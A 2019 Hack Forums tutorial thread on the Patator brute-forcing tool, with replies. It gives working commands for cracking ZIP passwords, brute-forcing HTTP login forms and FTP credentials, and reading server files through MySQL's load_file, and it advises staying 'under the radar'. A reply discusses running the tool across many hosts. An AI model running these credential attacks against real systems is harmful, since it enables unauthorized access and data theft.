

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Patator | A multi-purpose brute-forcing tool](#)

hash - March 27, 2019, 2:28 am

Sociopaths Tutorials - Patator | Hash

This thread is for educational purpose only. Only use this in an environment with the appropriate permission. I am not responsible for anything you might do with this information.

What is brute-forcing?

Quote:A brute force attack is a trial and error method used by application programs to decode encrypted data such as passwords or Data Encryption Standard (DES) keys, through exhaustive effort (using brute force) rather than employing intellectual strategies. Just as a criminal might break into, or "crack" a safe by trying many possible combinations, a brute force attacking application proceeds through all possible combinations of legal characters in sequence. [Source](#)

Why Patator?

Are you tired of using Hydra, Medusa, Ncrack or badly written Metasploit modules for password guessing attacks. Meet Patator, a multi-threaded bruteforcing tool written in Python. It's reliable and flexible compared to it's predecessors and after this thread you will never use those old tools again. You can download and read about Patator [here](#).

What modules does it support?

Code * ftp_login : Brute-force FTP
* ssh_login : Brute-force SSH
* telnet_login : Brute-force Telnet
* smtp_login : Brute-force SMTP
* smtp_vrfy : Enumerate valid users using the SMTP VRFY command
* smtp_rcpt : Enumerate valid users using the SMTP RCPT TO command
* finger_lookup : Enumerate valid users using Finger
* http_fuzz : Brute-force HTTP/HTTPS
* rdp_gateway : Brute-force RDP Gateway
* ajp_fuzz : Brute-force AJP
* pop_login : Brute-force POP
* pop_passwd : Brute-force poppassd (not POP3)
* imap_login : Brute-force IMAP
* ldap_login : Brute-force LDAP
* smb_login : Brute-force SMB
* smb_lookupsid : Brute-force SMB SID-lookup
* rlogin_login : Brute-force rlogin
* vmauthd_login : Brute-force VMware Authentication Daemon
* mssql_login : Brute-force MSSQL
* oracle_login : Brute-force Oracle
* mysql_login : Brute-force MySQL
* mysql_query : Brute-force MySQL queries
* rdp_login : Brute-force RDP (NLA)
* postgres_login : Brute-force PostgreSQL

- * vnc_login : Brute-force VNC
- * dns_forward : Brute-force DNS
- * dns_reverse : Brute-force DNS (reverse lookup subnets)
- * ike_enum : Enumerate IKE transforms
- * snmp_login : Brute-force SNMPv1/2 and SNMPv3
- * unzip_pass : Brute-force the password of encrypted ZIP files
- * keystore_pass : Brute-force the password of Java keystore files
- * sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases
- * umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes

Of course I will not cover a detailed explanation regarding all of them. Instead we are going to cover a couple that are often used. Want to know something about a module we are not discussing? Download Patator and use this command.

```
Code python patator.py --help
python patator.py [MODULENAME]
Brute-forcing encrypted ZIP files
Code Module options:
  zipfile      : ZIP files to test
  password     : passwords to test
```

In a lot of Capture the Flag contests there will be a point that you find an encrypted ZIP file. This means that it's password protected. Instead of searching for a possible password or simply guessing it we are going to use a wordlist, we do not need a username.

```
Code python patator.py unzip_pass zipfile=hackchallenge.zip password=FILE0 0=rockyou.txt
ignore:code!=0
```

Let's go over this step-by-step. We are issuing the unzip_pass module from Patator. There are two mandatory options: zipfile and password. The zipfile is the ZIP that we are going to hack, specify the location here. Password needs a wordlist or dictionary, a standard one to use is rockyou.txt and is good enough for most CTF contests. If you don't have it you can download it [here](#).

We are using FILE0 since this is the appropriate syntax. In HTTP example you will see why this is so useful.

Brute-forcing HTTP/HTTPS

```
Code Module options:
  url          : target url (scheme://host[:port]/path?query)
  body         : body data
  header       : use custom headers
  method       : method to use [GET|POST|HEAD|...]
  raw_request  : load request from file
  scheme       : scheme [http|https]
  auto_urlencode: automatically perform URL-encoding [1|0]
  user_pass    : username and password for HTTP authentication (user:pass)
  auth_type    : type of HTTP authentication [basic | digest | ntlm]
  follow       : follow any Location redirect [0|1]
  max_follow   : redirection limit [5]
  accept_cookie : save received cookies to issue them in future requests [0|1]
  proxy        : proxy to use (host:port)
  proxy_type   : proxy type [http|socks4|socks4a|socks5]
  resolve      : hostname to IP address resolution to use (hostname:IP)
  ssl_cert     : client SSL certificate file (cert+key in PEM format)
  timeout_tcp  : seconds to wait for a TCP handshake [10]
  timeout      : seconds to wait for a HTTP response [20]
```

before_urls : comma-separated URLs to query before the main request
before_header : use a custom header in the before_urls request
before_egrep : extract data from the before_urls response to place in the main request
after_urls : comma-separated URLs to query after the main request
max_mem : store no more than N bytes of request+response data in memory [-1 (unlimited)]
persistent : use persistent connections [1|0] If you find yourself in a situation where you need to brute-force your way in to a webservice or something, http_fuzz is what you need. Only do this in a scenario when there is no such thing as a blacklist after X tries or if you want to stay under the radar. Still useful in CTF contests.

```
Code python patator.py http_fuzz url=http://youhavepermissiontobrute.force/login/index.php
follow=1 method=POST body='anchor=&username=Admin&password=iLoveHackforuFILE0'
0=/special-chars.txt -x ignore:fgrep='Invalid login, please try again'
```

Protip: when making a request to a webserver use Burp to intercept the request and send it to Repeater. This makes it easier to build a brute-force attack like this.

Again we are calling the patator and using the http_fuzz module. First specify the url the request is meant for. The method is probably a POST method, if it's different use the corresponding one. The body is where your Burp request comes in handy. It will show the exact body so you can just copy and paste it. I need to specify the username and password. I already know the username is 'Admin', saves some bruteforcing. The password I'm not sure of.

You can see while the FILE is such a handy tool, I already know that the password begins with 'iLoveHackforu', but I'm not entirely sure what the last character is. Instead of using a wordlist I used Crunch to make my own wordlist. If this guide is successful, I'll write one about that as well. For now, it's a tool to generate wordlists. Now it iterates over the wordlist and appends it to my 'iLoveHackforu' password. 0 is to specify where my wordlist is at and I want to ignore any request that results in 'Invalid login'. Of course you can specify code=404 as well (if that's the case).

Brute-forcing a MySQL query

Code Module options:

host : target host
port : target port [3306]
user : username to use
password : password to use
query : SQL query to execute

It does not end with passwords and usernames, Patator is capable of far more. We are now going to brute-force a MySQL query.

```
Code python patator.py mysql_query host=ihavepermissiontobrute.forcea.query user=root
password=pleasedonatebytes query="select length(load_file('/home/secretfiles/FILE0'))" 0=files.txt
-x ignore:size=0
```

We are first calling Patator and are loading the mysql_query module. We need to specify the host where the database is on. Of course we need a username and password as well, we already know this. If you don't you can use the mysql_login and bruteforce that. I want to know the length of each file I pass in. Again we are using the FILE syntax and are giving 0 the proper location where my files.txt is located. We want to ignore size=0 since we are not interested in a file with nothing in it.

Brute-forcing a FTP server

Code Module options:

host : target host
port : target port [21]
user : usernames to test

password : passwords to test
tls : use TLS [0|1]
timeout : seconds to wait for a response [10]
persistent : use persistent connections [1|0]

We are finding a FTP server with the help of Nmap but we have no clue what might be a proper username to use. That is why we are using Patator to find out what usernames are there, maybe even login if it has accounts without a password. Or we can just combo it.

Code `python patator.py ftp_login host=stickythis.post user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:mesg='Login incorrect.' -x ignore:reset,retry:code=500`

We are calling the patator.py ftp_login module and specifying our host. Since we do not know the username nor password we need two files. One with popular usernames, and one with popular passwords. You can add as many files as you want, just use the corresponding number. We are interested in all the accounts that are giving some sort of response.

We know an FTP server uses the message "Login succesful." or "Permission denied.". We are excluding "login incorrect" since that means the username doesnt exist. This command will give you a list like this:

```
Code 19:36:06 patator INFO - code size time | candidate | num | mesg
19:36:06 patator INFO - -----
19:36:07 patator INFO - 230 17 0.002 | anonymous | 7 | Login successful.
19:36:07 patator INFO - 230 17 0.001 | ftp | 10 | Login successful.
19:36:08 patator INFO - 530 18 1.000 | root | 1 | Permission denied.
19:36:17 patator INFO - 530 18 1.000 | hash123 | 50 | Permission denied.
19:36:36 patator INFO - 530 18 1.000 | pleasestickypls | 93 | Permission denied.
...
```

Thank you for reading this thread. If you want to know more about Patator, please visit their Github page. If you have any questions please post them below and I'll answer them. Maybe till next time.

Galactusec - March 27, 2019, 4:44 pm

how is it compared to Hydra?

shelled - March 27, 2019, 10:20 pm

(Mar 27, 2019 04:44 PM)Galactusec Wrote: [\[CITE\]](#) how is it compared to Hydra?
why don't you try it and find out?

hash - March 28, 2019, 1:30 am

(Mar 27, 2019 04:44 PM)Galactusec Wrote: [\[CITE\]](#) how is it compared to Hydra?
Hydra is limited in what it can do. This tool has a all in one functionality and offers a wide range of options, way more than Hydra.
Also you don't have to remember 5+ tools for password guessing attacks, instead just have one that can do it all.

Galactusec - March 28, 2019, 1:44 am

(Mar 28, 2019 01:30 AM)hash Wrote: [\[CITE\]](#) Hydra is limited in what it can do. This tool has a all in one functionality and offers a wide range of options, way more than Hydra.
Also you don't have to remember 5+ tools for password guessing attacks, instead just have one that can do it all.

Thanks, I will take some time to dive into it

Xphile - March 28, 2019, 4:38 am

Been looking for a decent alternative to Hydra for a while, think I might have found it.

Brilliant tutorial, cheers. ?

hash - March 28, 2019, 5:24 am

(Mar 28, 2019 04:38 AM)? NetGoat ? Wrote: [\[CITE\]](#) Been looking for a decent alternative to Hydra for a while, think I might have found it.

Brilliant tutorial, cheers. ?
Appreciate it!

ernestmiller - March 29, 2019, 5:38 am

Im down as long as I know longer have to write down fail strings conditions and specify parameters the size of football fields to get the tool to work like with hydra, also can this do services on non default ports for example 42322 running some kind of firewall login page, you don't have to define the service i guess

Miami - March 29, 2019, 8:35 am

Keep getting this error when i run the python script with everything setup correct

"Authentication credentials invalid"

can you share any insite

Molo - November 12, 2019, 3:58 am

It's way better that hydra. Any one know how to use a host file containing my target hosts, instead of using a single targe like host=127.0.0.1? Is that possible in patator?

hash - November 16, 2019, 1:19 am

(Nov 12, 2019 04:58 AM)Molo Interlopu Wrote: [\[CITE\]](#) It's way better that hydra. Any one know how to use a host file containing my target hosts, instead of using a single targe like host=127.0.0.1? Is that possible in patator?

I would write a script around it in shell/other language.

- Give a couple hosts/list
- Iterate over string list
- Execute the command with the designated parameters

Molo - November 18, 2019, 9:57 am

(Nov 16, 2019 02:19 AM)hash Wrote: [\[CITE\]](#) I would write a script around it in shell/other language.

- Give a couple hosts/list
 - Iterate over string list
 - Execute the command with the designated parameters
- That would be really nice. Would u share the script please?